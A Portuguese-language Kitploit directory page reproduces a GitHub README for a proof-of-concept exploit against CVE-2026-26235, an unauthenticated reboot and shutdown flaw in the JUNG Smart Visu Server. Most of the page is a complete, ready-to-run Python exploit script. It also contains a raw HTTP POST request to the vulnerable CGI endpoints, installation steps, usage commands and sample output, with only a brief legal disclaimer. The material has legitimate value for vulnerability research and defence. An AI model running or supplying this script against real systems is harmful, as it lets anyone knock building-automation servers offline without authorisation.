Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — Prova de conceito de exploit para CVE-2026-26235, uma vulnerabilidade de negação de serviço não autenticada no JUNG Smart Visu Server <=1.1.1050, que permite reinicialização ou desligamento remoto por meio de endpoints CGI expostos. | Kitploit
Ferramentas/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
Segurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

Prova de conceito de exploit para CVE-2026-26235, uma vulnerabilidade de negação de serviço não autenticada no JUNG Smart Visu Server <=1.1.1050, que permite reinicialização ou desligamento remoto por meio de endpoints CGI expostos.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 6 mesesAinda não revisado

👤 Autor

Mohammed Idrees Banyamer

  • 📍 País: Jordânia
  • 📸 Instagram: @banyamer_security

Python Version CVE CVSS CWE Author

Prova de Conceito (PoC) para CVE-2026-26235 - Negação de Serviço não autenticada devido à ausência de autenticação no JUNG Smart Visu Server ≤ 1.1.1050.


🚨 Descrição da Vulnerabilidade

CVE-2026-26235 é uma vulnerabilidade de negação de serviço não autenticada no JUNG Smart Visu Server versões ≤ 1.1.1050. O produto não implementa autenticação para funções críticas de gerenciamento do sistema, permitindo que atacantes remotos reiniciem ou desliguem o servidor com uma única requisição POST.

Os endpoints /cgi-bin/reboot.sh e /cgi-bin/shutdown.sh estão expostos sem qualquer verificação de autenticação. Nenhum token de sessão, chave de API ou credenciais são necessários para acionar esses comandos de nível de sistema.

Isso permite:

  • Reinicialização/desligamento do sistema não autenticado
  • Nenhuma interação do usuário necessária
  • Interrupção completa do serviço
  • Negação de serviço persistente

🎯 Versões Afetadas

StatusVersão
❌ VulnerávelJUNG Smart Visu Server ≤ 1.1.1050
✅ CorrigidoAinda não lançado

Testado em: JUNG Smart Visu Server 1.1.1050, Linux Embarcado


💥 Impacto


🔬 Detalhes Técnicos

Causa Raiz

  1. Autenticação ausente - CWE-306: O produto não realiza nenhuma autenticação para funções críticas do sistema
  2. Endpoints CGI expostos - /cgi-bin/reboot.sh e /cgi-bin/shutdown.sh são publicamente acessíveis
  3. Sem validação de sessão - Nenhuma verificação de cookie, token ou credencial ocorre
  4. Execução direta de comandos do sistema - Scripts CGI executam comandos de reinicialização/desligamento do sistema sem verificações de privilégio

Fluxo da Vulnerabilidade

root@kitploit:~
Atacante → POST /cgi-bin/reboot.sh → Sem Verificação de Autenticação → Reinicialização do Sistema → DoS
Atacante → POST /cgi-bin/shutdown.sh → Sem Verificação de Autenticação → Desligamento do Sistema → DoS

🛠️ Prova de Conceito

Script de Exploit em Python

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Requisição HTTP Bruta

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 Instalação

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 Uso

Reinicialização Básica

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

Desligamento

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

Desabilitar Verificação SSL

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

Timeout Personalizado

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

Ajuda

root@kitploit:~
python3 CVE-2026-26235.py -h

Saída Esperada

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 Referências

  • Aviso da VulnCheck
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306: Ausência de Autenticação para Função Crítica
  • NVD - CVE-2026-26235 (pendente)

👤 Autor

Mohammed Idrees Banyamer

  • 📍 País: Jordânia
  • 📸 Instagram: @banyamer_security
  • 🐙 GitHub: banyamer-security
  • 🔗 LinkedIn: Mohammed Banyamer
  • 📧 Email: [email protected]

⚠️ Aviso Legal

Este exploit de prova de conceito é fornecido apenas para fins educacionais e de testes de segurança autorizados. O autor não é responsável por qualquer uso indevido ou dano causado por este software.

Testes não autorizados contra sistemas que você não possui ou para os quais não tem permissão explícita para testar são ilegais.


📄 Licença

Licença MIT

Copyright (c) 2026 Mohammed Idrees Banyamer

A permissão é concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrições, incluindo, sem limitação, os direitos de usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software é fornecido o façam, sujeito às seguintes condições:

O aviso de copyright acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.

O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM FIM ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU DETENTORES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM UMA AÇÃO DE CONTRATO, ATO ILÍCITO OU OUTRA FORMA, DECORRENTE DE, FORA DE OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.


⭐ Suporte

Se este exploit ajudou sua pesquisa ou testes:

  • ⭐ Marque com estrela este repositório
  • 🔁 Compartilhe com outros pesquisadores
  • 📢 Siga @banyamer_security no Instagram

Divulgação Responsável • Pesquisa de Segurança • CVE-2026-26235

Baixar ferramenta
VetorDescrição
CVSS v48.7 (Alto) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AutenticaçãoNenhuma - Completamente não autenticado
Vetor de AtaqueRede
ComplexidadeBaixa
ImpactoAlto Impacto na Disponibilidade